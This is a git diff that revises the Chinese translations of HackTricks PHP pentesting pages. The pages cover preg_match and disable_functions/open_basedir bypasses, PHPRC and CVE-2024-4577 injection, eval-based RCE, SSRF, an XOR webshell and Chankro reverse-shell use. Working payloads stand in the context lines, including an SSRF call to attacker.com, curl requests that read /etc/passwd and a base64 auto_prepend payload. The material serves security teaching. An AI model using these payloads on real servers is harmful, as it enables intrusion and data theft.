preg_match(/^.\*/) -**`preg_match()`** 可用于 **验证用户输入**(它 **检查** 是否有任何 **单词/正则表达式** 在 **黑名单** 中 **出现在** 用户输入中,如果没有,代码可以继续执行)。 +**`preg_match()`** 可以用来 **验证用户输入**(它 **检查** 是否有任何 **单词/正则表达式** 在 **黑名单** 中 **出现在** 用户输入中,如果没有,代码可以继续执行)。 -#### New line bypass +#### 新行绕过 -然而,当限定正则表达式的开始时,`preg_match()` **仅检查用户输入的第一行**,因此如果以某种方式可以 **发送** 多行输入,则可以绕过此检查。示例: +然而,当限定正则表达式的开始时,`preg_match()` **只检查用户输入的第一行**,然后如果以某种方式你可以 **发送** 多行输入,你可能能够绕过这个检查。示例: ```php $myinput="aaaaaaa 11111111"; //Notice the new line @@ -92,7 +91,7 @@ echo preg_match("/^.*1.*$/",$myinput); "cmd": "cat /etc/passwd" } ``` -找到一个示例在这里: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice) +找到一个例子在这里: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice) #### **长度错误绕过** @@ -112,14 +111,14 @@ payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}' 简而言之,问题发生是因为 PHP 中的 `preg_*` 函数基于 [PCRE 库](http://www.pcre.org/)。在 PCRE 中,某些正则表达式通过大量递归调用进行匹配,这会消耗大量的栈空间。可以设置允许的递归次数限制,但在 PHP 中,这个限制 [默认为 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit),这超过了栈的容量。 [这个 Stackoverflow 线程](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) 也在帖子中被链接,深入讨论了这个问题。我们的任务现在很明确:\ -**发送一个输入,使正则表达式进行 100_000+ 次递归,导致 SIGSEGV,使得 `preg_match()` 函数返回 `false`,从而使应用程序认为我们的输入不是恶意的,在有效负载的最后抛出一个类似 `{system()}` 的惊喜以获得 SSTI --> RCE --> flag :)**。 +**发送一个输入,使正则表达式进行 100_000+ 次递归,导致 SIGSEGV,使得 `preg_match()` 函数返回 `false`,从而使应用程序认为我们的输入不是恶意的,在有效负载的最后抛出一个类似 `{system()}` 的惊喜以获取 SSTI --> RCE --> flag :)**。 -好吧,从正则表达式的角度来看,我们实际上并不是在进行 100k 次“递归”,而是在计算“回溯步骤”,正如 [PHP 文档](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) 所述,它在 `pcre.backtrack_limit` 变量中默认为 1_000_000(1M)。\ -要达到这个,`'X'*500_001` 将导致 100 万个回溯步骤(50万向前和50万向后): +好吧,从正则表达式的角度来看,我们实际上并没有进行 100k 次“递归”,而是计算“回溯步骤”,正如 [PHP 文档](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) 所述,`pcre.backtrack_limit` 变量的默认值为 1_000_000(1M)。\ +要达到这个值,`'X'*500_001` 将导致 100 万个回溯步骤(50万向前和50万向后): ```python payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}" ``` -### PHP 混合类型用于混淆 +### PHP混淆的类型转换 ```php $obfs = "1"; //string "1" $obfs++; //int 2 @@ -142,7 +141,7 @@ header('Location: /index.php?page=default.html'); readfile($page); ?> ``` -## 路径遍历和文件包含漏洞利用 +## 路径遍历和文件包含漏洞 检查: @@ -152,10 +151,10 @@ readfile($page); ## 更多技巧 -- **register_globals**: 在 **PHP < 4.1.1.1** 或者如果配置错误,**register_globals** 可能是激活的(或者其行为被模拟)。这意味着在全局变量如 $\_GET 中,如果它们有值,例如 $\_GET\["param"]="1234",你可以通过 **$param 访问它。因此,通过发送 HTTP 参数,你可以覆盖在代码中使用的变量\*\*。 +- **register_globals**: 在 **PHP < 4.1.1.1** 或者如果配置错误,**register_globals** 可能是激活的(或者其行为被模仿)。这意味着在全局变量如 $\_GET 中,如果它们有值,例如 $\_GET\["param"]="1234",你可以通过 **$param 访问它。因此,通过发送 HTTP 参数,你可以覆盖在代码中使用的变量\*\*。 - **同一域的 PHPSESSION cookies 存储在同一位置**,因此如果在一个域中 **不同路径使用不同的 cookies**,你可以使该路径 **访问该路径的 cookie**,设置其他路径 cookie 的值。\ 这样,如果 **两个路径访问同名变量**,你可以使 **路径1中的该变量的值应用于路径2**。然后路径2将视路径1的变量为有效(通过给 cookie 赋予在路径2中对应的名称)。 -- 当你拥有机器用户的 **用户名** 时。检查地址: **/\~\** 以查看 php 目录是否被激活。 +- 当你拥有机器用户的 **用户名** 时。检查地址:**/\~\** 以查看 php 目录是否被激活。 - [**使用 php 包装器的 LFI 和 RCE**](../../../pentesting-web/file-inclusion/) ### password_hash/password_verify @@ -209,10 +208,10 @@ php-ssrf.md preg_replace(pattern,replace,base) preg_replace("/a/e","phpinfo()","whatever") ``` -要在“replace”参数中执行代码,至少需要一个匹配。\ -此preg_replace选项在PHP 5.5.0中已被**弃用**。 +要在“replace”参数中执行代码,至少需要一个匹配项。\ +此选项在 PHP 5.5.0 中已被**弃用**。 -### **通过Eval()进行RCE** +### **通过 Eval() 进行 RCE** ``` '.system('uname -a'); $dummy=' '.system('uname -a');# @@ -272,18 +271,18 @@ usort();}phpinfo;#, "cmp"); ### 通过环境变量进行 RCE -如果您发现一个漏洞,允许您 **修改 PHP 中的环境变量**(还有另一个上传文件的漏洞,尽管经过更多研究可能可以绕过),您可以利用这种行为来获取 **RCE**。 +如果您发现一个漏洞,允许您 **修改 PHP 中的环境变量**(还有另一个上传文件的漏洞,尽管经过更多研究可能可以绕过),您可以利用这种行为来获得 **RCE**。 - [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld_preload-and-ld_library_path):此环境变量允许您在执行其他二进制文件时加载任意库(尽管在这种情况下可能不起作用)。 - **`PHPRC`**:指示 PHP **在哪里查找其配置文件**,通常称为 `php.ini`。如果您可以上传自己的配置文件,则使用 `PHPRC` 指向它。添加一个 **`auto_prepend_file`** 条目,指定第二个上传的文件。这个第二个文件包含正常的 **PHP 代码,然后由 PHP 运行时执行**,在任何其他代码之前。 -1. 上传一个包含我们的 shellcode 的 PHP 文件 -2. 上传第二个文件,包含一个 **`auto_prepend_file`** 指令,指示 PHP 预处理器执行我们在步骤 1 中上传的文件 +1. 上传一个包含我们的 shellcode 的 PHP 文件。 +2. 上传第二个文件,包含 **`auto_prepend_file`** 指令,指示 PHP 预处理器执行我们在步骤 1 中上传的文件。 3. 将 `PHPRC` 变量设置为我们在步骤 2 中上传的文件。 - 获取更多关于如何执行此链的信息 [**来自原始报告**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)。 -- **PHPRC** - 另一个选项 +- **PHPRC** - 另一个选项。 - 如果您 **无法上传文件**,您可以在 FreeBSD 中使用 "file" `/dev/fd/0`,它包含 **`stdin`**,即发送到 `stdin` 的请求 **主体**: - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'` -- 或者要获取 RCE,启用 **`allow_url_include`** 并预先添加一个包含 **base64 PHP 代码** 的文件: +- 或者要获得 RCE,启用 **`allow_url_include`** 并预先添加一个包含 **base64 PHP 代码** 的文件: - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'` - 技术 [**来自此报告**](https://vulncheck.com/blog/juniper-cve-2023-36845)。 @@ -293,7 +292,7 @@ Web 服务器解析 HTTP 请求并将其传递给执行请求的 PHP 脚本, ```jsx -d allow_url_include=1 -d auto_prepend_file=php://input ``` -此外,由于后续的 PHP 规范化,可以使用 0xAD 字符注入 "-" 参数。检查来自 [**this post**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/) 的漏洞示例: +此外,由于后续的 PHP 规范化,可以使用 0xAD 字符注入 "-" 参数。检查来自 [**这篇文章**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/) 的漏洞示例: ```jsx POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1 Host: {{host}} @@ -323,11 +322,11 @@ exec, shell_exec, system, passthru, eval, popen unserialize, include, file_put_cotents $_COOKIE | if #This mea ``` -如果您正在调试 PHP 应用程序,可以通过在 `/etc/php5/apache2/php.ini` 中添加 `display_errors = On` 来全局启用错误打印,然后重启 apache: `sudo systemctl restart apache2` +如果您正在调试 PHP 应用程序,可以在 `/etc/php5/apache2/php.ini` 中全局启用错误打印,添加 `display_errors = On` 并重启 apache: `sudo systemctl restart apache2` -### 解混淆 PHP 代码 +### 反混淆 PHP 代码 -您可以使用 **web**[ **www.unphp.net**](http://www.unphp.net) **来解混淆 php 代码。** +您可以使用 **web**[ **www.unphp.net**](http://www.unphp.net) **来反混淆 php 代码。** ## PHP 包装器和协议 @@ -374,7 +373,7 @@ $_($___); #If ¢___ not needed then $_($__), show_source(.passwd) ``` ### XOR 简易 Shell 代码 -根据 [**这篇文章** ](https://mgp25.com/ctf/Web-challenge/)以下方式可以生成一个简易的 Shellcode: +根据 [**这篇文章** ](https://mgp25.com/ctf/Web-challenge/)可以通过以下方式生成简易的 Shell 代码: ```php $_="`{{{"^"?<>/"; // $_ = '_GET'; ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]); diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md index 53741021a..ad3c76aa6 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md @@ -45,19 +45,19 @@ include $class_name . '.php'; spl_autoload_register(); ``` -自动加载的行为因PHP版本而异,提供不同的RCE可能性。 +autoloading 的行为因 PHP 版本而异,提供不同的 RCE 可能性。 -## 通过内置类进行RCE +## 通过内置类进行 RCE -在缺乏自定义类或自动加载器的情况下,**内置PHP类**可能足以实现RCE。这些类的数量根据PHP版本和扩展的不同而在100到200之间。可以使用`get_declared_classes()`列出它们。 +在缺乏自定义类或自动加载器的情况下,**内置 PHP 类**可能足以实现 RCE。这些类的数量根据 PHP 版本和扩展的不同而在 100 到 200 之间。可以使用 `get_declared_classes()` 列出它们。 -可以通过反射API识别感兴趣的构造函数,如以下示例所示,以及链接 [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF)。 +可以通过反射 API 识别感兴趣的构造函数,如以下示例所示,以及链接 [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF)。 -**通过特定方法进行RCE包括:** +**通过特定方法进行 RCE 包括:** -### **SSRF + Phar反序列化** +### **SSRF + Phar 反序列化** -`SplFileObject`类通过其构造函数启用SSRF,允许连接到任何URL: +`SplFileObject` 类通过其构造函数启用 SSRF,允许连接到任何 URL: ```php new SplFileObject('http://attacker.com/'); ``` @@ -79,11 +79,11 @@ PHP 版本高达 5.3.22 和 5.4.12 易受通过 `SoapClient` 和 `SimpleXMLEleme ### VID 解析器 -识别出 VID 解析器能够将内容写入文件系统中任何指定路径的能力。这可能导致在可通过网络访问的目录中放置 PHP shell,从而实现远程代码执行 (RCE)。 +识别到 VID 解析器能够将内容写入文件系统中的任何指定路径。这可能导致在可通过网络访问的目录中放置 PHP shell,从而实现远程代码执行 (RCE)。 #### VID 解析器 + 文件上传 -注意到 PHP 会将上传的文件临时存储在 `/tmp/phpXXXXXX` 中。Imagick 中的 VID 解析器利用 **msl** 协议,可以处理文件路径中的通配符,便于将临时文件转移到选定位置。这种方法提供了在文件系统内实现任意文件写入的额外途径。 +注意到 PHP 会将上传的文件临时存储在 `/tmp/phpXXXXXX` 中。Imagick 中的 VID 解析器利用 **msl** 协议,可以处理文件路径中的通配符,便于将临时文件转移到选定位置。这种方法提供了在文件系统中实现任意文件写入的额外途径。 ### PHP 崩溃 + 暴力破解 diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md index e09ed0f1c..768af63b7 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md @@ -4,16 +4,16 @@ ### SSRF PHP 函数 -一些函数如 **file_get_contents(), fopen(), file(), md5_file()** 接受 URL 作为输入,如果用户可以控制数据,这将导致 **可能的 SSRF 漏洞**: +一些函数如 **file_get_contents(), fopen(), file(), md5_file()** 接受 URL 作为输入,如果用户可以控制数据,则可能会导致 **SSRF 漏洞**: ```php file_get_contents("http://127.0.0.1:8081"); fopen("http://127.0.0.1:8081", "r"); file("http://127.0.0.1:8081"); md5_file("http://127.0.0.1:8081"); ``` -### Wordpress SSRF via DNS Rebinding +### Wordpress SSRF通过DNS重绑定 -正如[**在这篇博客文章中解释的**](https://patchstack.com/articles/exploring-the-unpatched-wordpress-ssrf),即使是Wordpress函数**`wp_safe_remote_get`**也容易受到DNS重绑定的攻击,从而可能容易受到SSRF攻击。它调用的主要验证是**wp_http_validate_url**,该验证检查协议是否为`http://`或`https://`,并且端口是否为**80**、**443**或**8080**,但它**容易受到DNS重绑定的攻击**。 +正如[**在这篇博客文章中解释的**](https://patchstack.com/articles/exploring-the-unpatched-wordpress-ssrf),即使是Wordpress函数**`wp_safe_remote_get`**也容易受到DNS重绑定的攻击,从而可能容易受到SSRF攻击。它调用的主要验证是**wp_http_validate_url**,该验证检查协议是否为`http://`或`https://`,并且端口是否为**80**、**443**或**8080**,但它**容易受到DNS重绑定**。 根据该文章,其他易受攻击的函数包括: diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md index 6136413cc..c721a7c31 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md @@ -85,8 +85,8 @@ PHP设置通常配置在路径 _/etc/php7/conf.d_ 或类似位置。 ## open_basedir Bypass -`open_basedir`将配置PHP可以访问的文件夹,你**将无法在**这些文件夹之外**读/写/执行任何文件**,而且你**甚至无法列出**其他目录。\ -然而,如果你能够执行任意PHP代码,你可以**尝试**以下代码块来尝试**绕过**限制。 +`open_basedir`将配置PHP可以访问的文件夹,你**将无法在**这些文件夹之外**写入/读取/执行任何文件**,而且你**甚至无法列出**其他目录。\ +然而,如果你能够执行任意PHP代码,你可以**尝试**以下代码块来**绕过**限制。 ### 使用 glob:// 绕过列出目录 @@ -107,13 +107,13 @@ foreach($file_list as $f){ echo "{$f}
"; } ``` -**注意1**:在路径中,您还可以使用 `/e??/*` 来列出 `/etc/*` 和其他任何文件夹。\ +**注意1**:在路径中,您还可以使用 `/e??/*` 列出 `/etc/*` 和其他任何文件夹。\ **注意2**:看起来代码的某部分是重复的,但这实际上是必要的!\ **注意3**:此示例仅用于列出文件夹,而不是读取文件。 -### 完全绕过 open_basedir 利用 FastCGI +### 完全的 open_basedir 绕过利用 FastCGI -如果您想要**了解更多关于 PHP-FPM 和 FastCGI**的信息,可以阅读[本页的第一部分](disable_functions-bypass-php-fpm-fastcgi.md)。\ +如果您想要**了解更多关于 PHP-FPM 和 FastCGI**的信息,可以阅读[本页面的第一部分](disable_functions-bypass-php-fpm-fastcgi.md)。\ 如果**`php-fpm`**已配置,您可以利用它完全绕过**open_basedir**: ![](<../../../../images/image (545).png>) @@ -473,42 +473,42 @@ echo $client->request($params, $code)."\n"; ?> ``` 这些脚本将与 **php-fpm 的 unix socket** 进行通信(通常位于 /var/run,如果使用 fpm)以执行任意代码。`open_basedir` 设置将被发送的 **PHP_VALUE** 属性覆盖。\ -注意 `eval` 是如何用来执行你在 **cmd** 参数中发送的 PHP 代码的。\ -还要注意 **注释行 324**,你可以取消注释,它将使 **有效载荷自动连接到给定的 URL 并执行其中包含的 PHP 代码**。\ +注意 `eval` 是如何用于执行您在 **cmd** 参数中发送的 PHP 代码的。\ +还要注意 **注释行 324**,您可以取消注释,它将使 **有效负载自动连接到给定的 URL 并执行其中包含的 PHP 代码**。\ 只需访问 `http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');` 即可获取 `/etc/passwd` 文件的内容。 > [!WARNING] -> 你可能会想,正如我们覆盖了 `open_basedir` 配置一样,我们也可以 **覆盖 `disable_functions`**。好吧,试试吧,但这不会有效,显然 **`disable_functions` 只能在 `.ini` php** 配置文件中进行配置,而你使用 PHP_VALUE 进行的更改在这个特定设置上不会生效。 +> 您可能会认为,就像我们覆盖了 `open_basedir` 配置一样,我们可以 **覆盖 `disable_functions`**。好吧,试试看,但这行不通,显然 **`disable_functions` 只能在 `.ini` php** 配置文件中进行配置,您使用 PHP_VALUE 进行的更改在此特定设置上将无效。 ## disable_functions 绕过 -如果你能够在机器上执行 PHP 代码,你可能想要更进一步,**执行任意系统命令**。在这种情况下,通常会发现大多数或所有允许 **执行系统命令的 PHP 函数都已被禁用** 在 **`disable_functions`** 中。\ -那么,让我们看看你如何可以绕过这个限制(如果可以的话) +如果您能够在机器上执行 PHP 代码,您可能想要更进一步,**执行任意系统命令**。在这种情况下,通常会发现大多数或所有允许 **执行系统命令的 PHP 函数都已被禁用** 在 **`disable_functions`** 中。\ +那么,让我们看看您如何可以绕过此限制(如果可以的话) ### 自动绕过发现 -你可以使用工具 [https://github.com/teambi0s/dfunc-bypasser](https://github.com/teambi0s/dfunc-bypasser),它会指示你可以使用哪个函数(如果有的话)来 **绕过** **`disable_functions`**。 +您可以使用工具 [https://github.com/teambi0s/dfunc-bypasser](https://github.com/teambi0s/dfunc-bypasser),它将指示您可以使用哪个函数(如果有的话)来 **绕过** **`disable_functions`**。 ### 使用其他系统函数绕过 -只需返回此页面的开头,**检查是否有任何执行命令的函数未被禁用并在环境中可用**。如果你找到其中的一个,你将能够使用它来执行任意系统命令。 +只需返回此页面的开头,**检查是否有任何执行命令的函数未被禁用并在环境中可用**。如果您找到其中的一个,您将能够使用它来执行任意系统命令。 ### LD_PRELOAD 绕过 -众所周知,PHP 中的一些函数如 `mail()` 将会 **在系统内执行二进制文件**。因此,你可以利用它们使用环境变量 `LD_PRELOAD` 使它们加载一个可以执行任何内容的任意库。 +众所周知,PHP 中的一些函数如 `mail()` 将会 **在系统内执行二进制文件**。因此,您可以利用它们使用环境变量 `LD_PRELOAD` 使它们加载可以执行任何内容的任意库。 -#### 可以用来通过 LD_PRELOAD 绕过 disable_functions 的函数 +#### 可以使用 LD_PRELOAD 绕过 disable_functions 的函数 - **`mail`** - **`mb_send_mail`**:在安装了 `php-mbstring` 模块时有效。 - **`imap_mail`**:如果存在 `php-imap` 模块则有效。 - **`libvirt_connect`**:需要 `php-libvirt-php` 模块。 - **`gnupg_init`**:在安装了 `php-gnupg` 模块时可用。 -- **`new imagick()`**:此类可以被滥用以绕过限制。详细的利用技术可以在全面的 [**写作这里**](https://blog.bi0s.in/2019/10/23/Web/BSidesDelhi19-evalme/) 中找到。 +- **`new imagick()`**:此类可以被滥用以绕过限制。详细的利用技术可以在全面的 [**写作中找到**](https://blog.bi0s.in/2019/10/23/Web/BSidesDelhi19-evalme/)。 -你可以 [**在这里找到**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py) 用于发现这些函数的模糊测试脚本。 +您可以在 [**这里找到**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py) 用于查找这些函数的模糊测试脚本。 -这是一个你可以编译以滥用 `LD_PRELOAD` 环境变量的库: +这是一个您可以编译以滥用 `LD_PRELOAD` 环境变量的库: ```php #include #include @@ -524,10 +524,10 @@ return 1; #### 使用 Chankro 绕过 为了利用这个错误配置,你可以 [**Chankro**](https://github.com/TarlogicSecurity/Chankro)。这是一个将 **生成 PHP 利用程序** 的工具,你需要将其上传到易受攻击的服务器并执行(通过网络访问)。\ -**Chankro** 将在受害者的磁盘上写入你想要执行的 **库和反向 shell**,并将使用 **`LD_PRELOAD` 技巧 + PHP `mail()`** 函数来执行反向 shell。 +**Chankro** 将在受害者的磁盘上写入 **库和反向 shell**,你想要执行的,并将使用 **`LD_PRELOAD` 技巧 + PHP `mail()`** 函数来执行反向 shell。 请注意,为了使用 **Chankro**,`mail` 和 `putenv` **不能出现在 `disable_functions` 列表中**。\ -在以下示例中,你可以看到如何为 **arch 64** **创建一个 chankro 利用程序**,它将执行 `whoami` 并将输出保存到 _/tmp/chankro_shell.out_,chankro 将 **在 _/tmp_ 中写入库和有效载荷**,最终的利用程序将被称为 **bicho.php**(这是你需要上传到受害者服务器的文件): +在以下示例中,你可以看到如何为 **arch 64** **创建 chankro 利用程序**,它将执行 `whoami` 并将输出保存到 _/tmp/chankro_shell.out_,chankro 将 **在 _/tmp_ 中写入库和有效载荷**,最终的利用程序将被称为 **bicho.php**(这是你需要上传到受害者服务器的文件): {{#tabs}} {{#tab name="shell.sh"}} @@ -547,7 +547,7 @@ python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php 如果您发现 **mail** 函数被禁用函数阻止,您仍然可以使用 **mb_send_mail.**\ 有关此技术和 Chankro 的更多信息,请访问:[https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/](https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/) -### "绕过" 使用 PHP 功能 +### 使用 PHP 功能的“绕过” 请注意,使用 **PHP** 您可以 **读取和写入文件,创建目录和更改权限**。\ 您甚至可以 **转储数据库**。\ @@ -566,7 +566,7 @@ python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php - [**PHP Perl 扩展安全模式**](disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md) - [**dl 函数**](disable_functions-bypass-dl-function.md) - [**此漏洞**](https://github.com/mm0r1/exploits/tree/master/php-filter-bypass) -- 5.\* - 通过对 PoC 进行小幅修改可利用 +- 5.\* - 通过对 PoC 进行小幅更改可利用 - 7.0 - 所有版本至今 - 7.1 - 所有版本至今 - 7.2 - 所有版本至今 @@ -635,7 +635,7 @@ python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php ``` ### 信息泄露 -这些函数调用大多数不是数据汇聚点。但如果返回的任何数据对攻击者可见,则可能存在漏洞。如果攻击者可以看到 phpinfo(),这绝对是一个漏洞。 +大多数这些函数调用不是数据汇聚点。但如果返回的任何数据对攻击者可见,这可能就是一个漏洞。如果攻击者可以看到 phpinfo(),这绝对是一个漏洞。 ```php phpinfo posix_mkfifo @@ -677,7 +677,7 @@ posix_setuid ``` ### 文件系统函数 -根据 RATS,php 中的所有文件系统函数都很糟糕。其中一些对攻击者似乎并不太有用。其他的则比你想象的更有用。例如,如果 allow_url_fopen=On,则可以将 URL 用作文件路径,因此调用 copy($\_GET\['s'], $\_GET\['d']); 可以用来在系统上的任何地方上传 PHP 脚本。此外,如果一个站点对通过 GET 发送的请求存在漏洞,那么所有这些文件系统函数都可以被滥用,以通过你的服务器将攻击引导到另一个主机。 +根据 RATS,php 中的所有文件系统函数都很糟糕。其中一些对攻击者似乎并不太有用。其他的则比你想象的更有用。例如,如果 allow_url_fopen=On,则可以将 URL 用作文件路径,因此调用 copy($\_GET\['s'], $\_GET\['d']); 可以用来在系统上的任何地方上传 PHP 脚本。此外,如果一个站点容易受到通过 GET 发送的请求的攻击,那么这些文件系统函数中的每一个都可以被滥用,以通过你的服务器将攻击引导到另一个主机。 **打开文件系统处理程序** ```php diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md index d504519e4..d340b02bc 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md @@ -21,7 +21,7 @@ - 攻击者使用脚本(``)确定 PHP 版本。 -2. **PHP 源代码获取:** +2. **获取 PHP 源代码:** - 从官方 [PHP 网站](http://www.php.net/downloads.php) 或 [存档](http://museum.php.net) 下载 PHP 源代码(如果版本较旧)。 @@ -37,7 +37,7 @@ 1. **ZEND_MODULE_API_NO:** -- `bypass.c` 中的 `ZEND_MODULE_API_NO` 必须与当前的 Zend 扩展构建匹配,可以通过以下命令获取: +- `bypass.c` 中的 `ZEND_MODULE_API_NO` 必须与当前 Zend 扩展构建匹配,可以通过以下命令获取: ```bash php -i | grep "Zend Extension Build" |awk -F"API4" '{print $2}' | awk -F"," '{print $1}' ``` diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-7.0-7.4-nix-only.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-7.0-7.4-nix-only.md index 85f874cf3..857420cd3 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-7.0-7.4-nix-only.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-7.0-7.4-nix-only.md @@ -1,8 +1,8 @@ -# disable_functions bypass - PHP 7.0-7.4 (\*nix 仅限) +# disable_functions bypass - PHP 7.0-7.4 (\*nix only) {{#include ../../../../banners/hacktricks-training.md}} -## PHP 7.0-7.4 (\*nix 仅限) +## PHP 7.0-7.4 (\*nix only) 来自 [https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php](https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php) ```php diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md index 505716493..301ef173a 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md @@ -6,7 +6,7 @@ **PHP-FPM** 被视为标准 PHP FastCGI 的 **更优替代方案**,提供了对 **高流量网站特别有利** 的功能。它通过一个主进程来管理一组工作进程。对于 PHP 脚本请求,web 服务器会发起一个 **FastCGI 代理连接到 PHP-FPM 服务**。该服务能够 **通过服务器上的网络端口或 Unix 套接字接收请求**。 -尽管代理连接起到了中介作用,PHP-FPM 仍需在与 web 服务器相同的机器上运行。它所使用的连接虽然是基于代理的,但与传统的代理连接有所不同。在接收到请求后,PHP-FPM 中的一个可用工作进程会处理该请求——执行 PHP 脚本,然后将结果转发回 web 服务器。在工作进程完成请求处理后,它会再次可用于即将到来的请求。 +尽管代理连接起到了中介作用,但 PHP-FPM 需要在与 web 服务器相同的机器上运行。它所使用的连接虽然是基于代理的,但与传统的代理连接有所不同。在接收到请求后,PHP-FPM 中的可用工作进程会处理该请求——执行 PHP 脚本,然后将结果转发回 web 服务器。在工作进程完成请求处理后,它会再次可用于即将到来的请求。 ## 但 CGI 和 FastCGI 是什么? @@ -22,7 +22,7 @@ [FastCGI](https://en.wikipedia.org/wiki/FastCGI) 是一种较新的网络技术,是改进版的 [CGI](http://en.wikipedia.org/wiki/Common_Gateway_Interface),其主要功能保持不变。 -开发 FastCGI 的需求是由于应用程序的快速发展和复杂性,以及为了解决 CGI 技术的可扩展性不足。为了满足这些要求,[Open Market](http://en.wikipedia.org/wiki/Open_Market) 推出了 **FastCGI——一种具有增强功能的高性能 CGI 技术版本。** +开发 FastCGI 的需求是由于应用程序的快速发展和复杂性,以及为了解决 CGI 技术的可扩展性不足。为了满足这些需求,[Open Market](http://en.wikipedia.org/wiki/Open_Market) 推出了 **FastCGI——一种具有增强功能的高性能 CGI 技术版本。** ## disable_functions bypass @@ -420,7 +420,7 @@ echo $client->request($params, $code)."\n"; ![](<../../../../images/image (180).png>) > [!CAUTION] -> **注意2**:我通过在 PHP `.ini` 配置文件中插入 `extension_dir` 和 `extension` 值使其工作(这是你在攻击服务器时无法做到的)。但出于某种原因,当使用此利用并从 `PHP_ADMIN_VALUE` 变量加载扩展时,进程就死掉了,所以我不知道这个技术是否仍然有效。 +> **注意2**:我通过在 PHP `.ini` 配置文件中插入 `extension_dir` 和 `extension` 值使其工作(这是你在攻击服务器时无法做到的)。但由于某种原因,当使用此利用并从 `PHP_ADMIN_VALUE` 变量加载扩展时,进程就死掉了,所以我不知道这个技术是否仍然有效。 ### PHP-FPM 远程代码执行漏洞 (CVE-2019–11043) diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.x-shellshock-exploit.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.x-shellshock-exploit.md index 